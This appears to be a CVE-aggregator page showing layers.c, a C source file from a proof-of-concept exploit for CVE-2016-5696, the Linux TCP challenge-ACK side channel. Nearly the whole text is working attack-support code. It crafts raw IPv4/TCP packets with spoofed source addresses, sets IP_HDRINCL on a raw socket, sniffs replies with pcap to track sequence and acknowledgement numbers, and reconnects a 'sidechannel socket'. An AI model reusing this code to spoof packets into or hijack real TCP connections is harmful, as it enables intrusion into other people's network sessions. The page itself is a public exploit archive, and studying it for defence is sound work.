4837 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2016-5696. The file may not exist in the repository.
POC / layers.c C
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <memory.h>
#include <time.h>

#include "layers.h"

const unsigned ipv4_header_min_size = 20;
const unsigned ipv4_header_max_size = 60;
const unsigned tcp_header_min_size = 20;
const unsigned tcp_header_max_size = 60;

unsigned short checksum(unsigned short *buf, int len) {
    unsigned long cksum = 0;

    while(len > 1) {
        cksum +=*buf++;
        len   -=sizeof(unsigned short);
    }

    if(len)
        cksum += *(unsigned char*)buf;

    cksum  = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);
    return (unsigned short)(~cksum);
}


void dump_bytes(uint8_t *buf, size_t bytes) {
	for(size_t i = 0; i < bytes; i++)
		printf("%02x ", *(buf+i));
	printf("\n");
}
 


void ipv4_init_(struct ipv4_header *h, Session *ctx, struct addrinfo *src, struct addrinfo *dst) {
	memset(h, 0, sizeof(struct ipv4_header));

	h->ver_ihl = 4 << 4 | 5 ; //Version 4, hdr size 5 32bit words
	h->ttl = 64;
	h->protocol = IPPROTO_TCP;

	h->sourceip = ((struct sockaddr_in*)src->ai_addr)->sin_addr.s_addr;
	h->destip = ((struct sockaddr_in*)dst->ai_addr)->sin_addr.s_addr;

}

void ipv4_init(struct ipv4_header *h, Session *ctx) {
	ipv4_init_(h, ctx, ctx->attacker_addr, ctx->daddr);
}


void ipv4_spoof_init(struct ipv4_header *h, Session *ctx) {
	ipv4_init_(h, ctx, ctx->saddr, ctx->daddr);
}

void ipv4_dump(struct ipv4_header *h) {
	printf("Ver: %u IHL: %u\n", h->ver_ihl >> 4, ipv4_get_ihl(h));
	printf("Len: %u TTL: %u Prot: %u\n", ipv4_get_len(h), h->ttl, ipv4_get_protocol(h));
}

struct tcp_header *ipv4_get_tcp(struct ipv4_header *h, uint32_t caplen) {
	uint32_t *ptr = (uint32_t *)h; //The ihl is expressed in 32bit words
	uint8_t ihl = ipv4_get_ihl(h);
	if (ihl < 5 ) {
		fprintf(stderr, "ipv4_get_tcp: ihl smaller than 5: %u\n", ihl);
		exit(EXIT_FAILURE);
	}

	if( (uint8_t *)(ptr+ihl)+ sizeof(struct tcp_header) >= (uint8_t *)(h)+caplen) {
		return NULL;
	}
 
	return  (struct tcp_header *)(ptr+ihl);
}

uint8_t ipv4_get_ihl(struct ipv4_header *h) {
	return h->ver_ihl & 15;
}

uint8_t ipv4_get_protocol(struct ipv4_header *h) {
	return h->protocol;
}

uint16_t ipv4_get_len(struct ipv4_header *h) {
	return ntohs(h->len);
}

void ipv4_set_dont_frag(struct ipv4_header *h) {
	h->frag_field |= 32768;
}



void tcp_init_(struct tcp_header *h, Session *ctx, struct addrinfo *src, struct addrinfo *dst) {
	memset(h, 0, sizeof(struct tcp_header));
	h->data_ns = 5 << 4; //default header size
	h->win = htons(ctx->window_size);

	h->srcport = ((struct sockaddr_in *)src->ai_addr)->sin_port;
	h->destport = ((struct sockaddr_in *)dst->ai_addr)->sin_port;

	h->seqnum = ctx->stream_seq + 1;
}

void tcp_init(struct tcp_header *h, Session *ctx) {
	tcp_init_(h, ctx, ctx->attacker_addr, ctx->daddr);
}

void tcp_spoof_init(struct tcp_header *h, Session *ctx) {
	tcp_init_(h, ctx, ctx->saddr, ctx->daddr);
}

void tcp_dump(struct tcp_header *h) {
	printf("Src. Port: %u Dst. Port: %u\n", ntohs(h->srcport), ntohs(h->destport));
	printf("Syn: %u Ack: %u Fin: %u Rst: %u\n", tcp_isset_syn(h), tcp_isset_ack(h), tcp_isset_fin(h), tcp_isset_rst(h));
	printf("Seq.: %u Acks.: %u\n", h->seqnum, h->acknum);
}

void tcp_calculate_checksum(struct ipv4_header *ip, struct tcp_header *h) {
	struct pseudo_header pseudo;
	memcpy(&pseudo.tcp, h, sizeof(struct tcp_header));
	pseudo.sourceip = ip->sourceip;
	pseudo.destip = ip->destip;
	pseudo.zero = 0;
	pseudo.protocol = 6;
	pseudo.tcp_len = htons(sizeof(struct tcp_header)); // + 0 Data
	h->chksum = checksum((uint16_t *)&pseudo, sizeof(struct pseudo_header));
}
void tcp_set_syn(struct tcp_header *h) {
	h->flags |= 2;
}

bool tcp_isset_syn(struct tcp_header *h) {
	return h->flags & 2;
}

void tcp_set_ack(struct tcp_header *h) {
	h->flags |= 16;
}

bool tcp_isset_ack(struct tcp_header *h) {
	return h->flags & 16;
}

void tcp_set_rst(struct tcp_header *h) {
	h->flags |= 4;
}

bool tcp_isset_rst(struct tcp_header *h) {
	return h->flags & 4;
}

void tcp_set_fin(struct tcp_header *h) {
	h->flags |= 1;
}

bool tcp_isset_fin(struct tcp_header *h) {
	return h->flags & 1;
}


void tcp_set_seqnum(struct tcp_header *h, uint32_t seq) {
	h->seqnum = htonl(seq);
}

uint32_t tcp_get_seqnum(struct tcp_header *h) {
	return ntohl(h->seqnum);
}

void tcp_set_acknum(struct tcp_header *h, uint32_t ack) {
	h->acknum = htonl(ack);
}

uint32_t tcp_get_acknum(struct tcp_header *h) {
	return ntohl(h->acknum);
}

void tcp_set_window_size(struct tcp_header *h, uint16_t size) {
	h->win = htons(size);
}

uint16_t tcp_get_window_size(struct tcp_header *h) {
	return ntohs(h->win);
}

void disable_ip_header(Session *ctx) {	
	int val = 1;
	if(setsockopt(ctx->raw_socket, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val)) < 0) {
		perror("Setting IP_HDRINCL failed");
		exit(EXIT_FAILURE);
	}

}

void enable_ip_header(Session *ctx) {	
	int val = 0;
	if(setsockopt(ctx->raw_socket, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val)) < 0) {
		perror("Unsetting IP_HDRINCL failed");
		exit(EXIT_FAILURE);
	}

}

Session *new_session(char *attacker_ip, int attacker_source_port,  char *source_ip,  char *destination_ip, int destination_port) {
	Session *ctx = (Session *)malloc(sizeof(Session));
	memset(ctx, 0, sizeof(Session));
	int ret;

	ctx->connection_closed = 0;
	ctx->nsec_offset = 0;
	ctx->stream_seq = 0;
	ctx->stream_acks = 0;

	if ((ret = getaddrinfo(attacker_ip, NULL, NULL, &ctx->attacker_addr)) != 0) {
		fprintf(stderr, "Source parsing failed: %s\n", gai_strerror(ret));
		exit(EXIT_FAILURE);
	}

	if ((ret = getaddrinfo(source_ip, NULL, NULL, &ctx->saddr)) != 0) {
		fprintf(stderr, "Source parsing failed: %s\n", gai_strerror(ret));
		exit(EXIT_FAILURE);
	}


	if ((ret = getaddrinfo(destination_ip, NULL, NULL, &ctx->daddr)) != 0) {
		fprintf(stderr, "Destination parsing failed: %s\n", gai_strerror(ret));
		exit(EXIT_FAILURE);
	}

	if (ctx->attacker_addr->ai_family != AF_INET ||
		ctx->daddr->ai_family         != AF_INET ||
		ctx->saddr->ai_family         != AF_INET   ) {

		fprintf(stderr, "Only ipv4 is supported, because someone couldn't be bothered\n");
		exit(EXIT_FAILURE);
	}

	((struct sockaddr_in *)ctx->attacker_addr->ai_addr)->sin_port = htons(attacker_source_port);
	((struct sockaddr_in *)ctx->daddr->ai_addr)->sin_port = htons(destination_port);

	session_connect(ctx);	

	return ctx;
}

void session_set_source_port(Session *ctx, uint16_t port) {
	((struct sockaddr_in *)ctx->saddr->ai_addr)->sin_port = htons(port);
}

void session_set_attacker_port(Session *ctx, uint16_t port) {
	((struct sockaddr_in *)ctx->attacker_addr->ai_addr)->sin_port = htons(port);
}

uint16_t session_get_source_port(Session *ctx) {
	return ntohs(((struct sockaddr_in *)ctx->saddr->ai_addr)->sin_port);
}

uint16_t session_get_destination_port(Session *ctx) {
	return ntohs(((struct sockaddr_in *)ctx->daddr->ai_addr)->sin_port);
}

uint16_t session_get_attacker_port(Session *ctx) {
	return ntohs(((struct sockaddr_in *)ctx->attacker_addr->ai_addr)->sin_port);
}



struct tcp_header *session_read_packet(Session *ctx) {
	struct tcp_header *h = (struct tcp_header*)malloc(tcp_header_max_size);
	struct pcap_pkthdr *header; 
	const u_char *packet;

	if (pcap_next_ex(ctx->handle, &header, &packet)) {
		struct ipv4_header *v4_h = (struct ipv4_header *)(packet + 16);
		struct tcp_header *unsafe_h = ipv4_get_tcp(v4_h, header->caplen-16);

		if(unsafe_h == NULL) {
			return NULL;
		}
	
		memcpy(h, unsafe_h, sizeof(struct tcp_header));
		return h;
	}

	return NULL;
}


void session_read_packets_update_1s(Session *ctx) {
	time_t start = time(NULL);

	while(time(NULL)-start <= 1) {
		struct tcp_header *h = session_read_packet(ctx);
		if (h == NULL)
			   continue;
		ctx->stream_seq = tcp_get_acknum(h);
		ctx->stream_acks = tcp_get_seqnum(h);
		free(h);
	}
}

void session_read_sin_ack(Session *ctx) {
	struct tcp_header *h = session_read_packet(ctx);

	if(h == NULL){
		printf("Didn't catch a single packet\n");
		exit(EXIT_FAILURE);
	}

	if (!tcp_isset_syn(h) && !tcp_isset_ack(h)){
		free(h);
		exit(EXIT_FAILURE);
	}

	ctx->stream_seq = tcp_get_acknum(h);
	ctx->stream_acks = tcp_get_seqnum(h);
	ctx->window_size = tcp_get_window_size(h);
	free(h);

}



void session_connect(Session *ctx) {
	char *dev = "any";
	char errbuf[PCAP_ERRBUF_SIZE];
 	bpf_u_int32 mask;
 	bpf_u_int32 net;
	struct bpf_program fp;
	char filter_exp[1024];
	char ip[256];
	snprintf(filter_exp, 1024,"src host %s and tcp dst port %i and tcp src port %i",
			inet_ntop(ctx->daddr->ai_family,
			(void *)&((struct sockaddr_in *)ctx->daddr->ai_addr)->sin_addr, ip, 256),
			session_get_attacker_port(ctx), session_get_destination_port(ctx));

	ctx->handle = pcap_open_live(dev, 1024, 1, 500, errbuf);
	if(ctx->handle == NULL ) {
		fprintf(stderr, "Couldn't open device: %s\n", errbuf);
		exit(EXIT_FAILURE);
	}

	/* Find the properties for the device */
	if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
		fprintf(stderr, "Couldn't get netmask for device %s: %s\n", dev, errbuf);
		net = 0;
		mask = 0;
	}


	/* Compile and apply the filter */
	if (pcap_compile(ctx->handle, &fp, filter_exp, 0, net) == -1) {
		fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(ctx->handle));
		exit(EXIT_FAILURE);
	}

	if (pcap_setfilter(ctx->handle, &fp) == -1) {
		fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(ctx->handle));
		exit(EXIT_FAILURE);
	}

	ctx->raw_socket = socket(ctx->attacker_addr->ai_family , SOCK_RAW, IPPROTO_TCP);
	if(ctx->raw_socket < 0) {
		perror("Socket creation failed");
	}

	ctx->stream_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(bind(ctx->stream_socket, ctx->attacker_addr->ai_addr, ctx->daddr->ai_addrlen) == -1) {
		perror("Bind failed");
		exit(EXIT_FAILURE);
	}

	if(connect(ctx->stream_socket, ctx->daddr->ai_addr, ctx->daddr->ai_addrlen) == -1 ) {
		perror("Connect failed");
		exit(EXIT_FAILURE);
	}

	disable_ip_header(ctx);
	ctx->connection_closed = 0;
	session_read_sin_ack(ctx);
	session_read_packets_update_1s(ctx);
}


void session_reconnect_increase(Session *ctx) {
printf("[!] Sidechannel socket lost, reconnecting.\n");
	int tmp = ctx->window_size;
	pcap_close(ctx->handle);
	close(ctx->raw_socket);
	close(ctx->stream_socket);
	session_set_attacker_port(ctx, session_get_attacker_port(ctx)+1);
	session_connect(ctx);
	//This is a bit crude
	ctx->window_size = tmp;
}